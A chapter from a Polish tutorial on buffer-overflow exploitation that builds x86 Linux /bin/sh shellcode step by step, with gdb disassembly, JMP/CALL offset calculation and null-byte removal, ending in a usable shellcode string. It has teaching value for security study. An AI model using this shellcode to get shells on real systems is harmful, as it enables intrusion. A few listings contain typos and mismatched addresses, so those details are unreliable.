Poprzedni :: Spis treści :: Następny
6. Generowanie szkodnika
6.1 Wywołanie powłoki
6.2 Obsługa sytuacji awaryjnych
W poprzednim rozdziale widać było w jaki sposób można wykorzystać błąd i nadpisać adres powrotu. Nadal jednak pozostaje zagadką jakie znaki należałoby umieścić w buforze aby zmusić do udostępnienia nam powłoki.
Zacznijmy od zapisania w C programu, który powoduje wywołanie powłoki
systemowej:
przyklad5.c
#include <stdio.h> int main () { char *nazwa[2]; nazwa[0] = "/bin/sh"; nazwa[1] = NULL; execvp(nazwa[0], nazwa, NULL); }
To co jest najistotniejsze w tym programie to wykonanie instrukcji execvp. Przyjrzyjmy się więc co się w niej dzieje.
0x0804e200 <execve+0>: push %ebp 0x0804e201 <execve+1>: mov $0x0,%eax 0x0804e206 <execve+6>: test %eax,%eax 0x0804e208 <execve+8>: mov %esp,%ebp | Inicjacja |
0x0804e20a <execve+10>: push %ebx |
zapamiętanie poprzedniej wartosci ebx |
0x0804e20b <execve+11>: mov 0x8(%ebp),%ebx |
adres "/bin/sh" na ebx |
0x0804e20e <execve+14>: je 0x804e215 <execve+21> 0x0804e210 <execve+16>: call 0x0 |
asercja |
0x0804e215 <execve+21>: mov 0xc(%ebp),%ecx 0x0804e218 <execve+24>: mov 0x10(%ebp),%edx |
adres "nazwa" na ecx, NULL na edx |
0x0804e21b <execve+27>: mov $0xb,%eax |
11 na eax (numer execvp z /usr/include/asm/unistd.h) |
0x0804e220 <execve+32>: int $0x80 |
Wywołanie funkcji systemowej o numerze zapisanym w eax (11). |
0x0804e222 <execve+34>: cmp $0xfffff000,%eax 0x0804e227 <execve+39>: mov %eax,%ebx 0x0804e229 <execve+41>: ja 0x804e230 <execve+48> 0x0804e22b <execve+43>: mov %ebx,%eax 0x0804e22d <execve+45>: pop %ebx 0x0804e22e <execve+46>: leave 0x0804e22f <execve+47>: ret 0x0804e230 <execve+48>: neg %ebx 0x0804e232 <execve+50>: call 0x8048940 <__errno_location> 0x0804e237 <execve+55>: mov %ebx,(%eax) 0x0804e239 <execve+57>: mov $0xffffffff,%ebx 0x0804e23e <execve+62>: mov %ebx,%eax 0x0804e240 <execve+64>: pop %ebx 0x0804e241 <execve+65>: leave 0x0804e242 <execve+66>: ret |
Nie istotne z naszego punktu widzenia |
A więc aby wykonać funkcję execve należy:
Wiemy już jak nakazać wykonanie "/bin/sh", ale co się stanie, jeżeli
execve nie wykona się prawidłowo? Program zacznie wykonywać instrukcje
na podstawie wartości znajdujących się na stosie, który może zawierać
bardzo różne dane. W związku z tym należy zadbać aby, w przypadku powrotu
z funkcji execvp, program prawidłowo zakończył swoje działanie. Aby zobaczyć
jakich instrukcji potrzebujemy, prześledźmy poniższy program:
przyklad6.c
#include <stdio.h> int main() { exit(0); }
Zobaczmy jak zachowuje się funkcja exit:
0x0804e1cc <_exit+0>: mov 0x4(%esp),%ebx |
zapisanie wartości 0x4(%esp) - wartość będącą na wierzchołku stosu (wartość jaką exit ma zwrócić). |
0x0804e1d0 <_exit+4>: mov $0xfc,%eax 0x0804e1d5 <_exit+9>: int $0x80 |
0xfc jest numerem funkcji powodującej wyjście z grupy procesów |
0x0804e1d7 <_exit+11>: mov $0x1,%eax 0x0804e1dc <_exit+16>: int $0x80 | 1 - numer funkcji systemowej exit. |
0x0804e1de <_exit+18>: hlt 0x0804e1df <_exit+19>: nop |
zakończenie programu |
Złóżmy to wszystko razem i zobaczmy co musimy teraz wykonać:
Skoro wiadomo już co należy zrobić, zapiszmy to:
movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string idzie tutaj.
Pojawia się niestety problem. Polega on na tym, że instrukcje mov, lea operują na adresach bezwzględnych a więc musielibyśmy znać dokładny adres łańcucha "/bin/sh". Jedną z metod na obejście tego problemu jest wykorzystanie instrukcji skoku oraz wywołania (JMP i CALL), które operują na adresach względnych. Aby uzyskać adres naszego kodu dodajemy przed łańcuchem /bin/sh instrukcję CALL a na początku kodu instrukcję JMP do tej instrukcji CALL.
jmp offset-to-call popl %esi movl %esi,array-offset(%esi) movb $0x0,nullbyteoffset(%esi) movl $0x0,null-offset(%esi) movl $0xb,%eax movl %esi,%ebx leal array-offset,(%esi),%ecx leal null-offset(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call offset-to-popl /bin/sh string idzie tutaj.
Należy tylko wyliczyć offset o jaki należy skoczyć instrukcją jmp
oraz offset o jaki należy wrócić instrukcją call. Aby to zrobić, skompilujmy
następujący program:
przyklad7.c
int main() { __asm__("\n\t" "jmp 0x0 \n\t" "popl %esi \n\t" "movl %esi,0x8(%esi) \n\t" "movb $0x0,0x7(%esi) \n\t" "movl $0x0,0xc(%esi) \n\t" "movl $0xb,%eax \n\t" "movl %esi,%ebx \n\t" "leal 0x8(%esi),%ecx \n\t" "leal 0xc(%esi),%edx \n\t" "int $0x80 \n\t" "movl $0x1, %eax \n\t" "movl $0x0, %ebx \n\t" "int $0x80 \n\t" "call -0x0 \n\t" ".string \"/bin/sh\" \n" ); }
Przyjrzyjmy się, jak wygląda kod powyższego programu:
(gdb) disassemble main Dump of assembler code for function main: 0x08048364 <main+0>: push %ebp 0x08048365 <main+1>: mov %esp,%ebp 0x08048367 <main+3>: sub $0x8,%esp 0x0804836a <main+6>: and $0xfffffff0,%esp 0x0804836d <main+9>: mov $0x0,%eax 0x08048372 <main+14>: add $0xf,%eax 0x08048375 <main+17>: add $0xf,%eax 0x08048378 <main+20>: shr $0x4,%eax 0x0804837b <main+23>: shl $0x4,%eax 0x0804837e <main+26>: sub %eax,%esp 0x08048380 <main+28>: jmp 0x8048381 <main+29> 0x08048385 <main+33>: pop %esi 0x08048386 <main+34>: mov %esi,0x8(%esi) 0x08048389 <main+37>: movb $0x0,0x7(%esi) 0x0804838d <main+41>: movl $0x0,0xc(%esi) 0x08048394 <main+48>: mov $0xb,%eax 0x08048399 <main+53>: mov %esi,%ebx 0x0804839b <main+55>: lea 0x8(%esi),%ecx 0x0804839e <main+58>: lea 0xc(%esi),%edx 0x080483a1 <main+61>: int $0x80 0x080483a3 <main+63>: mov $0x1,%eax 0x080483a8 <main+68>: mov $0x0,%ebx 0x080483ad <main+73>: int $0x80 0x080483af <main+75>: call 0x80483b0 <main+76> 0x080483b4 <main+80>: das 0x080483b5 <main+81>: bound %ebp,0x6e(%ecx) 0x080483b8 <main+84>: das 0x080483b9 <main+85>: jae 0x8048423 <__libc_csu_fini+19> 0x080483bb <main+87>: add %cl,%cl 0x080483bd <main+89>: ret 0x080483be <main+90>: nop 0x080483bf <main+91>: nop End of assembler dump. (gdb)
Aby wyliczyć offset jaki należy wpisać w instrukcji jmp należy wykonać proste działanie
(main+75) - (main+29) = 46 = 0x2e
- main+29
ponieważ bajt main+28 jest zajęty przez kod instrukcji jmp
Analogicznie dla instrukcji CALL:
(main + 33) - (main + 76) = -43 = -0x2b
Ostatecznie, nasz szkodnik wygląda następująco:
przyklad8.c
int main() { __asm__("\n\t" "jmp 0x2e \n\t" "popl %esi \n\t" "movl %esi,0x8(%esi) \n\t" "movb $0x0,0x7(%esi) \n\t" "movl $0x0,0xc(%esi) \n\t" "movl $0xb,%eax \n\t" "movl %esi,%ebx \n\t" "leal 0x8(%esi),%ecx \n\t" "leal 0xc(%esi),%edx \n\t" "int $0x80 \n\t" "movl $0x1, %eax \n\t" "movl $0x0, %ebx \n\t" "int $0x80 \n\t" "call -0x2b \n\t" ".string \"/bin/sh\"" ); }
Po kompilacji i próbie uruchomienia powinniśmy dostać... błąd Segmentation Fault. Wynika to z tego, że próbujemy modyfikować własny kod, który leży w fragmencie pamięci tylko do odczytu. Mimo tego program ten przyda nam się aby uzyskać szesnastkową reprezentację tego kodu (aby można ją było zapisać w łańcuchu). W tym celu wykorzystamy gdb:
(gdb) disassemble main Dump of assembler code for function main: 0x08048364 <main+0>: push %ebp 0x08048365 <main+1>: mov %esp,%ebp 0x08048367 <main+3>: sub $0x8,%esp 0x0804836a <main+6>: and $0xfffffff0,%esp 0x0804836d <main+9>: mov $0x0,%eax 0x08048372 <main+14>: add $0xf,%eax 0x08048375 <main+17>: add $0xf,%eax 0x08048378 <main+20>: shr $0x4,%eax 0x0804837b <main+23>: shl $0x4,%eax 0x0804837e <main+26>: sub %eax,%esp 0x08048380 <main+28>: jmp 0x80483ab <main+71> 0x08048385 <main+33>: pop %esi 0x08048386 <main+34>: mov %esi,0x8(%esi) 0x08048389 <main+37>: movb $0x0,0x7(%esi) 0x0804838d <main+41>: movl $0x0,0xc(%esi) 0x08048394 <main+48>: mov $0xb,%eax 0x08048399 <main+53>: mov %esi,%ebx 0x0804839b <main+55>: lea 0x8(%esi),%ecx 0x0804839e <main+58>: lea 0xc(%esi),%edx 0x080483a1 <main+61>: int $0x80 0x080483a3 <main+63>: mov $0x1,%eax 0x080483a8 <main+68>: mov $0x0,%ebx 0x080483ad <main+73>: int $0x80 0x080483af <main+75>: call 0x8048381 <main+29> 0x080483b4 <main+80>: das 0x080483b5 <main+81>: bound %ebp,0x6e(%ecx) 0x080483b8 <main+84>: das 0x080483b9 <main+85>: jae 0x8048423 <__libc_csu_fini+19> 0x080483bb <main+87>: add %cl,%cl 0x080483bd <main+89>: ret 0x080483be <main+90>: nop 0x080483bf <main+91>: nop End of assembler dump. (gdb) x/bx main+28 0x8048380 <main+28>: 0xe9 (gdb) x/bx main+29 0x8048381 <main+29>: 0x2a
Rozbierając tak wszystkie instrukcje od main+28 do main+69 otrzymamy pełen
kod. Spójrzmy teraz na następujący program:
przyklad9.c
char shellcode[]= "\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46" "\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08" "\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00" "\xcd\x80\xe8\xd1\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
Po skompilowaniu i uruchomieniu programu powinniśmy dostać nową powłokę
a to oznacza sukces! Udało się. Program nie protestuje podczas modyfikowania
kodu ponieważ znajduje się on w segmencie danych zainicjowanych.
Przygotowany przez nas shellcode ma niestety dużą wadę. Koniec łańcucha w
C jest rozpoznawany przez znak \0. Nasz shellcode zawiera ich dość dużo
ale na szczęście można je wyeliminować.
Instrukcja problematyczna |
Zamiennik |
movb $0x0,0x7(%esi) molv $0x0,0xc(%esi) |
xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) |
movl $0xb,%eax |
movb $0xb,%al |
movl $0x1, %eax movl $0x0, %ebx |
xorl %ebx,%ebx movl %ebx,%eax inc %eax |
Po dokonaniu powyższych zmian mamy następujący kod w assemblerze (trzeba pamiętać o uaktualnieniu wartości offsetu dla JMP i CALL):
0x08048364 <main+0>: push %ebp 0x08048365 <main+1>: mov %esp,%ebp 0x08048367 <main+3>: sub $0x8,%esp 0x0804836a <main+6>: and $0xfffffff0,%esp 0x0804836d <main+9>: mov $0x0,%eax 0x08048372 <main+14>: add $0xf,%eax 0x08048375 <main+17>: add $0xf,%eax 0x08048378 <main+20>: shr $0x4,%eax 0x0804837b <main+23>: shl $0x4,%eax 0x0804837e <main+26>: sub %eax,%esp 0x08048380 <main+28>: jmp 0x80483a4 <main+64> 0x08048385 <main+33>: pop %esi 0x08048386 <main+34>: mov %esi,0x8(%esi) 0x08048389 <main+37>: xor %eax,%eax 0x0804838b <main+39>: mov %al,0x7(%esi) 0x0804838e <main+42>: mov %eax,0xc(%esi) 0x08048391 <main+45>: mov $0xb,%al 0x08048393 <main+47>: mov %esi,%ebx 0x08048395 <main+49>: lea 0x8(%esi),%ecx 0x08048398 <main+52>: lea 0xc(%esi),%edx 0x0804839b <main+55>: int $0x80 0x0804839d <main+57>: xor %ebx,%ebx 0x0804839f <main+59>: mov %ebx,%eax 0x080483a1 <main+61>: inc %eax 0x080483a2 <main+62>: int $0x80 0x080483a4 <main+64>: call 0x8048335 <main+33> 0x080483a9 <main+69>: das 0x080483aa <main+70>: bound %ebp,0x6e(%ecx) 0x080483ad <main+73>: das 0x080483ae <main+74>: jae 0x8048418 <__libc_csu_fini+8> 0x080483b0 <main+76>: add %cl,%cl 0x080483b2 <main+78>: ret
Z tego kodu otrzymujemy następujący shellcode:
char shellcode[]= "\xe9\x1f\x00\x00\x00\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
Większość znaków \0 zostało usuniętych. Pozostały 3 które trzeba zmodyfikować ręcznie. Problem polega na tym, że instrukcja JMP operuje na argumentach typu długości słowa. Istnieje jej odpowiednik operujący na argumentach długości jednego bajtu. Musimy zmienić numer tej instrukcji (jest to pierwsza instrukcja) z \xe9 na \xeb, wykasować wszystkie \x00 oraz uaktualnić offset instrukcji JMP (drugi znak łańcucha, należy odjąć 3 ponieważ tyle znaków \00 usunęliśmy). Odpowiednio zmodyfikowany shellcode wygląda następująco:
char shellcode[]= "\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
Poprzedni :: Spis treści :: Następny